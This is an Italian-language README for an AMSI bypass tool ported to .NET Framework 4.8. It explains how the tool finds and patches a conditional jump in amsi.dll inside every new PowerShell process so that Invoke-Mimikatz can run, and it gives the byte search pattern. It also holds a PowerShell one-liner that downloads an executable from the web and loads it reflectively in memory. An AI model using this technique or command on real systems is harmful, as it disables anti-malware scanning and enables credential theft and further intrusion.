
Bypass AMSI permanente di @ZeroMemoryEx portato su .NET Framework 4.8
Bypass AMSI permanente: AMSI-Killer di @ZeroMemoryEx portato a .NET Framework 4.8.
[ x ] - Scansione live dei nuovi processi PowerShell ogni 0.5 secondi -> applica automaticamente le patch alle nuove istanze di PowerShell
otteniamo l'indirizzo esatto dell'istruzione di salto cercando il primo byte di ogni istruzione; questa tecnica è efficace anche in caso di aggiornamenti o modifiche al set di dati target.
per esempio :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
il pattern di ricerca sarà simile a questo :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

Il programma confronta il valore di RDX con se stesso. Se il confronto restituisce 0, il programma esegue un salto per restituire il controllo. In caso contrario, il programma prosegue valutando l'istruzione successiva.

non possiamo eseguire "Invoke-Mimikatz"

modifichiamo il primo byte e lo cambiamo da JE a JMP, così restituisce direttamente il controllo.


ora possiamo eseguire "Invoke-Mimikatz"



$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
Se hai mai visto questo messaggio e ti sei chiesto cosa fosse, benvenuto nell'interfaccia .NET AMSI! :-)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."